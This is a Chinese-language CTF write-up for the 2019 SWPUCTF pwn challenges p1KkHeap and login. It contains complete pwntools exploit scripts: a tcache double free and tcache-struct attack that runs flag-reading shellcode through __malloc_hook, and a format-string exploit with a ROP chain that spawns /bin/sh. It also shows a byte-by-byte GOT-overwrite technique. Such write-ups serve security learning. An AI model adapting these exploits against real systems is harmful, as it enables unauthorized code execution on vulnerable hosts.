2019 swpuctf pwn writeup

前言

前两天玩了一下swpuctf, 事情比较多就只做了pwn题. 一共两个pwn题, 都不是很难. 拿了一个一血一个三血, 记录一下.

p1kkheap

这个题的漏洞很明显, free之后指针没有清空, 可以double free. 而且这题给的libc是2.27, tcache结合 double free 可以实现任意地址写.
结合提供的 show 功能可以实现任意地址读写.

而且题目开始时还咋 0x666000 处mmap了一块 rwx 的空间.

不过题目有三个限制

  1. seccomp 禁了 execve 系统调用.
  2. add/edit/show/delete 操作的次数不能超过 18 次
  3. free 的次数 不能超过 三次.

正好前两天看了一篇tcache struct攻击的文章[1]. 利用这种方法恰好把所以次数都用完. 赛后查看官方wp发现确实就是预期解.

思路大概如下:

  1. double free, leak 堆地址
  2. 修改fd 指向 tcache struct
  3. 修改 tcache struct, 将 一个chunk free 进 unsorted bin, 得到 libc 地址
  4. 修改 tcache struct 的entry.
    1. malloc 一个chunk 在 0x666000 除写入 shellcode
    2. malloc 一个chunk 在 __malloc_hook 处修改其为 0x666000
  5. malloc 执行 shellcode

exp如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'amd64', os = 'linux', endian = 'little')
filename = "./p1KkHeap"
ip = "39.98.64.24"
port = 9091

LOCAL = True if len(sys.argv)==1 else False
elf = ELF(filename)
remote_libc = "./libc.so.6"
if LOCAL:
    io = process("./" + filename, env={'LD_PRELOAD': remote_libc}) 
    libc = ELF(remote_libc)
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)

def lg(name, val):
    log.info(name+" : "+hex(val))

global g_opcnt
g_opcnt = 0

def choice( idx):
    global g_opcnt
    g_opcnt += 1
    print("%d / 18"%(g_opcnt))
    io.sendlineafter( "Your Choice: ", str(idx))
    

def add( size):
    choice( 1)
    io.sendlineafter( "size: ", str(size))

def show( idx):
    choice( 2)
    io.sendlineafter( "id: ", str(idx))

def edit( idx, data):
    choice( 3)
    io.sendlineafter( "id: ", str(idx))
    io.sendafter( "content: ", data)

def remove( idx):
    choice( 4)
    io.sendlineafter( "id: ", str(idx))

add( 0x80)
add( 0x90)

remove( 1)
remove( 1)

show( 1)
io.recvuntil( "content: ")

heap_addr = u64(io.recv( 6)+'\0\0')
heap_base = heap_addr - 0x2f0

lg("heap base", heap_base)

add( 0x90)
edit( 2, p64(heap_base+0x10))

add( 0x90)
add( 0x90)
fake_tcache_st = '\x07'*64
edit( 4, fake_tcache_st)

remove( 0)
show( 0)
io.recvuntil( "content: ")

usbin_addr = u64(io.recv( 6)+'\0\0')
lg("usbin_addr", usbin_addr)
libc.address = usbin_addr - 0x3ebca0

lg("libc base", libc.address)
mh_addr = libc.symbols['__malloc_hook']

rwx_addr = 0x66660000

p2 = '\x07'*64+p64(mh_addr)+p64(rwx_addr)*7
edit( 4, p2)

add( 0x50)

sc = ""
sc += asm(shellcraft.amd64.linux.open("./flag.txt", 0))
sc += asm("""
    /* call read('eax', 1717960960, 11) */
    mov edi, eax
    xor eax, eax /* SYS_read */
    push 0x30
    pop rdx
    mov esi, 0x1010201 /* 1717960960 == 0x66660100 */
    xor esi, 0x67670301
    syscall
""")
sc += asm(shellcraft.amd64.linux.write(1, 0x66660100, 0x30))
edit( 5, sc)

add( 0x18)
edit( 6, p64(rwx_addr))

add( 0x28)

io.interactive()

login

题目没开 PIE.

有明显的格式化字符串漏洞. 但是字符串不在栈上, 所以用 %n 的时候地址不太好控制.

我的利用方式比较麻烦..... 利用栈上的ebp链 修改ebp, 最终把main函数的返回地址迁移到 bss段, 并进行rop.
但是因为bss段的低地址处就是代码段(不可写), 所以执行函数的时候会因为栈空间不够报错.... 只能自己构造syscall的rop链....(这一步浪费了不少时间)

exp如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'i386', os = 'linux', endian = 'little')

filename = "./login"
ip = "108.160.139.79"
port = 9090

LOCAL = True if len(sys.argv)==1 else False

elf = ELF(filename)

remote_libc = "./remote_libc"
if LOCAL:
    io = process(filename)
    libc = elf.libc

else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)

def lg(name, val):
    log.info(name+" : "+hex(val))

g_str = 0x804B0A0
g_name = 0x804B080
plt_printf = 0x8048400
plt_puts = 0x8048410
got_printf = 0x804B014
main = 0x80485E3 # 0x8048606 real

prefix = "wllmmllw"

rop = p32(plt_puts)+p32(main)+p32(got_printf)

io.sendafter( " your name: ", "/bin/sh\0")

p1 = "%6$x_%15$x\n"
io.sendlineafter( "password: \n", p1.ljust(0x31, '\0'))

io.recvuntil( "password: ")
t = io.recvline(io).split("_")
ebp0 = int(t[0], 16) # 0xffffd308
libc_addr = int(t[1], 16)

lg("ebp0", ebp0)

p2 = "%{}c%6$hhn".format((ebp0-4)&0xff)
io.sendlineafter( "again", p2)
io.sendlineafter( "again", "%20c%10$hhn")
io.sendlineafter( "again", "%9$s")
io.recvuntil( "word: ")

printf_addr = u32(io.recv( 4))
puts_addr = u32(io.recv( 4))
lg("printf addr", printf_addr)
lg("puts_addr", puts_addr)

libc.address = puts_addr - libc.symbols['puts']
lg("libc base", libc.address)

io.sendlineafter( "again", "%180c%10$hhn")

system_addr = libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh\0"))

if LOCAL:
    int_80 = 0x00002c87 + libc.address
    PespR = 0x00003980 + libc.address
    PeaxPebxPesiPediR = 0x0003da0a + libc.address
    PecxR = 0x000b5377 + libc.address
else:
    int_80 = 0x00002d37 + libc.address
    PeaxPebxPesiPediR = 0x0003ff3a + libc.address
    PedxPecxPeaxR = 0x000faa4f + libc.address
    PecxR = 0x00193908 + libc.address
    PespR = 0x00003aa0 + libc.address
rop2 = p32(PeaxPebxPesiPediR)+\
    p32(0xb)+p32(binsh_addr)+\
    p32(0)*2 + p32(PecxR) + p32(0) + p32(int_80)

io.sendlineafter( "again", ("%{}c%6$hhn".format((ebp0)&0xff)).ljust(0x10, 'a')+rop2)
io.sendlineafter( "again", prefix)
io.interactive()

因为方法比较复杂导致exp写的太慢..... 只抢到了三血.....

一个更好的做法

通过调试可以看到执行printf的时候栈空间大概如下

'''
EBP  0xffffd2f8 —
ESP  0xffffd2e0 —
pwndbg> stack 20
add stack 20 to history
00:0000│ esp  0xffffd2e0 —▸ 0x804b0a0 ◂— 0xa616161 ('aaa\n')
01:0004│      0xffffd2e4 —▸ 0x8048dae ◂— ja     0x8048e1c
02:0008│      0xffffd2e8 ◂— 0x8
03:000c│      0xffffd2ec —▸ 0x80485fb ◂— add    esp, 0x10
04:0010│      0xffffd2f0 —▸ 0x8048dfd ◂— push   0x6f6c6c65
05:0014│      0xffffd2f4 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
06:0018│ ebp  0xffffd2f8 —▸ 0xffffd308 —▸ 0xffffd318 ◂— 0x0
07:001c│      0xffffd2fc —▸ 0x8048603 ◂— nop
08:0020│      0xffffd300 —▸ 0x8048e20 ◂— inc    edx
09:0024│      0xffffd304 —▸ 0x804b080 ◂— 0xa616161 ('aaa\n')
0a:0028│      0xffffd308 —▸ 0xffffd318 ◂— 0x0
0b:002c│      0xffffd30c —▸ 0x8048689 ◂— nop
0c:0030│      0xffffd310 —▸ 0xf7fbf3dc (__exit_funcs) —▸ 0xf7fc01e0 (initial) ◂— 0x0
0d:0034│      0xffffd314 —▸ 0xffffd330 ◂— 0x1
0e:0038│      0xffffd318 ◂— 0x0
0f:003c│      0xffffd31c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add    esp, 0x10
10:0040│      0xffffd320 —▸ 0xf7fbf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
12:0048│      0xffffd328 ◂— 0x0
13:004c│      0xffffd32c —▸ 0xf7e25637 (__libc_start_main+247) ◂— add    esp, 0x10
'''

我们可以通过如下流程在 栈上构造一个 got 表的地址. 以 printf@got 的地址 0x804B014 为例:

  1. 通过 %16c%6$hhn__0xffffd308 处的地址修改为 0xffffd310
  2. 通过 %20c%10$hhn_0xffffd310 处的地址修改为 0xf7fbf314
  3. 通过 %17c%6$hhn__0xffffd308 处的地址修改为 0xffffd311
  4. 通过 %176c%10$hhn0xffffd310 处的地址修改为 0xf7fbb014
  5. 通过 %18c%6$hhn__0xffffd308 处的地址修改为 0xffffd312
  6. 通过 %4c%10$hhn__0xffffd310 处的地址修改为 0xf704b014
  7. 通过 %19c%6$hhn__0xffffd308 处的地址修改为 0xffffd313
  8. 通过 %8c%10$hhn_0xffffd310 处的地址修改为 0x0804b014

通过这种方式可以把 printf@got, printf@got+1, printf@got+2, printf@got+3 四个地址都在栈上构造出来
再来一次格式化字符串操作就可以把 printf@got 指向 system了.

[2]中也是用的这种方式

如果一开始就想到这种方法的话做起来应该会快一些.

总结

emmmm, 写exp还是太慢了, 思路还是太狭隘了.

多做题, 多总结!

参考

[1] 初探tcache struct攻击-先知社区

[2] 非栈上格式化字符串漏洞利用技巧-安全客

你可能感兴趣的:(2019 swpuctf pwn writeup)